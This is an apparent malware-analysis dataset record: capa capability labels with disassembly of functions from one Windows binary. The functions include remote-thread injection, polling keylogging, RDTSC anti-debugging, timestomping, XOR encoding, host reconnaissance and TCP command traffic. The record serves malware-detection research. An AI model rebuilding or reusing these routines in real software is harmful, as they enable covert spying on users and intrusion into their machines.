joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b348
Capabilities:
Create tcp socket
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffd58
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x41b433
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x43fb80], eax
cmp dword [0x43fb80], 0xffffffff
je 0x41b433
lea eax, [esp + 0x1a0]
mov edx, 0x105
call fcn.004074e4
push 0x105
lea eax, [esp + 0x1a4]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 0x1a0]
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
test ebx, ebx
je 0x41b433
lea eax, [esp + 0x190]
mov edx, 0x10
call fcn.004074e4
mov word [esp + 0x190], 2
mov ax, word [0x43fb7c]
push eax
call sub.wsock32.dll_htons
mov word [esp + 0x192], ax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x194], eax
push 0x10
lea eax, [esp + 0x194]
push eax
mov eax, dword [0x43fb80]
push eax
call sub.wsock32.dll_bind
inc eax
je 0x41b433
push 0x3c
mov eax, dword [0x43fb80]
push eax
call sub.wsock32.dll_listen
inc eax
je 0x41b433
mov byte [0x43fb84], 1
mov eax, dword [0x43fd20]
mov byte [eax], 1
mov eax, dword [0x43fb80]
call fcn.0041b300
add esp, 0x2a8
pop ebx
ret

Function at 0x41b5cc
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x41b627
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0041b504
mov ebx, eax
test ebx, ebx
jne 0x41b611
mov eax, dword [ebp - 4]
call fcn.00404ff0
push eax
call sub.wsock32.dll_gethostbyname_1
test eax, eax
je 0x41b611
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b62e
lea eax, [ebp - 4]
call fcn.00404b40
ret

Function at 0x41b634
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x41b6c1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push 2
call sub.wsock32.dll_socket_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41b6ab
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0x10
call fcn.00403114
mov word [ebp - 0x14], 2
mov eax, esi
xchg al, ah
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 4]
call fcn.0041b5cc
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.wsock32.dll_connect_1
test eax, eax
je 0x41b6ab
mov eax, ebx
call fcn.0041b6d0
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b6c8
lea eax, [ebp - 4]
call fcn.00404b40
ret

Function at 0x41b6d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
add esp, 0xfffffbfc
mov ebx, eax
push 1
push ebx
call sub.wsock32.dll_shutdown
push 0
push 0x400
lea eax, [esp + 8]
push eax
push ebx
call sub.wsock32.dll_recv_1
test eax, eax
jg 0x41b6e1
push ebx
call sub.wsock32.dll_closesocket_1
add esp, 0x404
pop ebx
ret
Function at 0x425c64
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffed0
mov dword [esp], edx
mov esi, eax
xor ebx, ebx
push 0x40
push 0x1000
push 0x123
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x425d36
mov eax, ebp
mov byte [esp + 0xc], 0x68
lea edx, [eax + 0x1e]
mov dword [esp + 0xd], edx
mov word [esp + 0x11], 0x15ff
lea edx, [eax + 0x16]
mov dword [esp + 0x13], edx
mov byte [esp + 0x17], 0x68
xor edx, edx
mov dword [esp + 0x18], edx
mov word [esp + 0x1c], 0x15ff
add eax, 0x1a
mov dword [esp + 0x1e], eax
push 0x425d44
call sub.kernel32.dll_GetModuleHandleA_1
mov edi, eax
push 0x425d54
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x22], eax
push 0x425d64
push edi
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x26], eax
mov eax, dword [esp]
push eax
lea eax, [esp + 0x2e]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
push eax
push 0x123
lea eax, [esp + 0x14]
push eax
push ebp
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [esp + 8]
push eax
push 0
push 0
push ebp
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x425d36
push eax
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
mov eax, ebx
add esp, 0x130
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x42e004
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
call fcn.0040b6c4
mov eax, ebx
mov edx, 2
call fcn.00405120
push 0
mov eax, ebx
call fcn.00405048
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x42e055
je 0x42e05e
dec eax
je 0x42e073
jmp 0x42e06c
mov eax, ebx
call fcn.00404b40
jmp 0x42e073
mov eax, ebx
mov edx, 1
call fcn.00405120
jmp 0x42e073
mov eax, ebx
call fcn.00404b40
add esp, 0x100
pop edi
pop esi
pop ebx
ret

Function at 0x42e8bc
Capabilities:
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
call sub.kernel32.dll_GetCurrentProcessId
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.0040d3d0
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42e931
mov dword [esp], 0x1c
push esp
push ebx
call fcn.0040d430
test eax, eax
je 0x42e92b
mov eax, dword [esp + 8]
cmp esi, eax
je 0x42e920
cmp edi, dword [esp + 0xc]
jne 0x42e920
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov ebp, eax
test ebp, ebp
jbe 0x42e920
push ebp
call sub.kernel32.dll_SuspendThread
push ebp
call sub.kernel32.dll_CloseHandle_1
push esp
push ebx
call fcn.0040d454
test eax, eax
jne 0x42e8f6
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e93c
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
call sub.kernel32.dll_GetCurrentProcessId
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.0040d3d0
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42e9b1
mov dword [esp], 0x1c
push esp
push ebx
call fcn.0040d430
test eax, eax
je 0x42e9ab
mov eax, dword [esp + 8]
cmp esi, eax
je 0x42e9a0
cmp edi, dword [esp + 0xc]
jne 0x42e9a0
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov ebp, eax
test ebp, ebp
jbe 0x42e9a0
push ebp
call sub.kernel32.dll_ResumeThread
push ebp
call sub.kernel32.dll_CloseHandle_1
push esp
push ebx
call fcn.0040d454
test eax, eax
jne 0x42e976
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x42faec
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 6
push 0x442cb0
mov eax, dword [0x442cb8]
push eax
mov eax, dword [0x442c64]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.wininet.dll_InternetQueryDataAvailable
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 6
push 0x442ca8
mov eax, dword [0x442cb8]
push eax
mov eax, dword [0x442c64]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 0x10

Function at 0x43164c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
call fcn.0040b6c4
mov eax, ebx
mov edx, 2
call fcn.00405120
push 0
mov eax, ebx
call fcn.00405048
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x43169d
je 0x4316a6
dec eax
je 0x4316bb
jmp 0x4316b4
mov eax, ebx
call fcn.00404b40
jmp 0x4316bb
mov eax, ebx
mov edx, 1
call fcn.00405120
jmp 0x4316bb
mov eax, ebx
call fcn.00404b40
add esp, 0x100
pop edi
pop esi
pop ebx
ret

Function at 0x433864
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x4338d6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x4338b6
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dx, 0x29a
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x433899
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4338dd
lea eax, [ebp - 4]
call fcn.00404b40
ret
Function at 0x433bac
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
mov eax, 0x400
call fcn.0040272c
mov dword [ebp - 0x14], eax
xor edx, edx
push ebp
push 0x433c9d
push dword fs:[edx]
mov dword fs:[edx], esp
xor eax, eax
mov dword [ebp - 0x10], eax
test ebx, ebx
jle 0x433c7b
cmp ebx, 0x400
jle 0x433bf8
mov esi, 0x400
jmp 0x433bfa
mov esi, ebx
xor edx, edx
push ebp
push 0x433c5e
push dword fs:[edx]
mov dword fs:[edx], esp
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, esi
mov eax, dword [ebp - 4]
call fcn.0040edec
push 0
push esi
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send_1
test eax, eax
je 0x433c46
cmp eax, 0xffffffff
je 0x433c46
add dword [ebp - 0x10], eax
sub ebx, eax
mov byte [ebp - 9], 1
jmp 0x433c54
mov byte [ebp - 9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x433c7b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x433c73
test ebx, ebx
jg 0x433be9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x433ca4
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 4]
mov ebx, dword [eax]
call dword [ebx + 0x10]
mov eax, dword [ebp - 0x14]
call fcn.0040274c
ret

Function at 0x433cb0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
mov eax, 0x400
call fcn.0040272c
mov dword [ebp - 0x14], eax
xor edx, edx
push ebp
push 0x433dac
push dword fs:[edx]
mov dword fs:[edx], esp
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, esi
mov ecx, dword [eax]
call dword [ecx]
test esi, esi
jle 0x433d88
cmp esi, 0x400
jle 0x433d07
mov eax, 0x400
jmp 0x433d09
mov eax, esi
push 0
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv_1
mov ebx, eax
test ebx, ebx
je 0x433d7a
cmp ebx, 0xffffffff
je 0x433d7a
xor eax, eax
push ebp
push 0x433d5a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax]
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov edi, dword [eax]
call dword [edi + 0x10]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, ebx
call fcn.0040ee24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x433d6f
sub esi, ebx
add dword [ebp - 0x10], ebx
mov byte [ebp - 9], 1
jmp 0x433d80
mov byte [ebp - 9], 0
jmp 0x433d88
test esi, esi
jg 0x433cf8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x433db3
mov eax, dword [ebp - 4]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x10]
mov eax, dword [ebp - 0x14]
call fcn.0040274c
ret
Function at 0x434004
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
xor edx, edx
push ebp
push 0x4341e4
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x40ea58]
call fcn.00403bf0
mov dword [ebp - 0x20], eax
xor edx, edx
push ebp
push 0x4341d3
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 4
lea eax, [ebp - 0x14]
push eax
push esi
call sub.wsock32.dll_recv_1
inc eax
je 0x4341b9
cmp dword [ebp - 0x14], 0
je 0x4341b3
mov eax, dword [ebp - 8]
call fcn.0040272c
mov dword [ebp - 0x18], eax
xor edx, edx
push ebp
push 0x4341ac
push dword fs:[edx]
mov dword fs:[edx], esp
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
call dword [ecx]
cmp dword [ebp - 0x14], 0
jle 0x434120
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jle 0x4340a2
mov eax, dword [ebp - 8]
jmp 0x4340a5
mov eax, dword [ebp - 0x14]
push 0
push eax
mov eax, dword [ebp - 0x18]
push eax
push esi
call sub.wsock32.dll_recv_1
mov ebx, eax
test ebx, ebx
je 0x434110
cmp ebx, 0xffffffff
je 0x434110
xor eax, eax
push ebp
push 0x4340ef
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov edi, dword [eax]
call dword [edi + 0x10]
mov edx, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp - 0x20]
call fcn.0040ee24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x434104
sub dword [ebp - 0x14], ebx
add dword [ebp - 0x10], ebx
mov byte [ebp - 9], 1
jmp 0x434116
mov byte [ebp - 9], 0
jmp 0x434120
cmp dword [ebp - 0x14], 0
jg 0x434095
cmp byte [ebp - 9], 0
je 0x434196
mov eax, dword [ebp - 0x20]
call fcn.0040ebc0
mov dword [ebp - 0x14], eax
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 4]
mov edx, dword [ebp - 0x14]
call fcn.004156bc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040f278
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
call fcn.0040ee24
mov eax, dword [ebp - 4]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4341bd
mov eax, dword [ebp - 0x18]
call fcn.0040274c
ret
mov byte [ebp - 9], 1
jmp 0x4341bd
mov byte [ebp - 9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4341da
mov eax, dword [ebp - 0x20]
call fcn.00403c20
ret
Function at 0x434394
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x434409
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x4343e8
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor edx, edi
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4343ce
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434410
lea eax, [ebp - 4]
call fcn.00404b40
ret

Function at 0x434418
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
xor edx, edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x128], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4344fb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.wsock32.dll_recv_1
cmp eax, 0x1c
jne 0x4344db
lea eax, [ebp - 0x128]
lea edx, [ebp - 0x20]
call fcn.00404d9c
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x124]
mov edx, dword [ebp - 8]
call fcn.00434394
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 0x120]
mov ecx, 0xff
call fcn.00404dd4
lea edx, [ebp - 0x120]
lea eax, [ebp - 0x20]
mov cl, 0x14
call fcn.00402f98
push 0
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.wsock32.dll_send_1
cmp eax, 0x1c
jne 0x4344d7
push 0
push 4
lea eax, [ebp - 4]
push eax
push ebx
call sub.wsock32.dll_recv_1
cmp eax, 4
jne 0x4344d3
cmp dword [ebp - 4], 0xd
jne 0x4344cf
mov bl, 1
jmp 0x4344dd
xor ebx, ebx
jmp 0x4344dd
xor ebx, ebx
jmp 0x4344dd
xor ebx, ebx
jmp 0x4344dd
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434502
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00404b64
ret
Function at 0x437f08
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x437fb8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x437f8b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xff
lea eax, [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00405120
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404ff0
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x437f74
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405050
jmp 0x437f81
mov eax, dword [ebp - 4]
mov edx, 0x437fd0
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x437fa2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x437fbf
lea eax, [ebp - 8]
call fcn.00404b40
ret

Function at 0x437fe8
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43802f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x24], 0x20
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x1c]
shr eax, 0x14
inc eax
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 4]
call fcn.004086ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x438046
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x438060
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4380d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
mov eax, dword [ebp - 8]
call fcn.0040272c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4380c8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.00404d30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4380cf
mov eax, dword [ebp - 0xc]
call fcn.0040274c
ret
Function at 0x4381e0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x438280]
fstp qword [ebp - 0x10]
wait
fld qword [ebp - 0x10]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4398f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
push ebp
push 0x43994c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x8000000
push 2
push 0
push 0
push 0xc0000000
push edx
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x439956
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43a6ac
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x43a79a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x2000000
push 3
push 0
push 0
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00404ff0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43a77d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x43a758
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.00409d1c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.kernel32.dll_LocalFileTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43a766
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a784
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x43aba4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fe0
xor eax, eax
push ebp
push 0x43ac13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404df8
mov esi, eax
test esi, esi
jle 0x43abf3
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00405048
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 2
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x43abd9
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ac1a
lea eax, [ebp - 4]
call fcn.00404b40
ret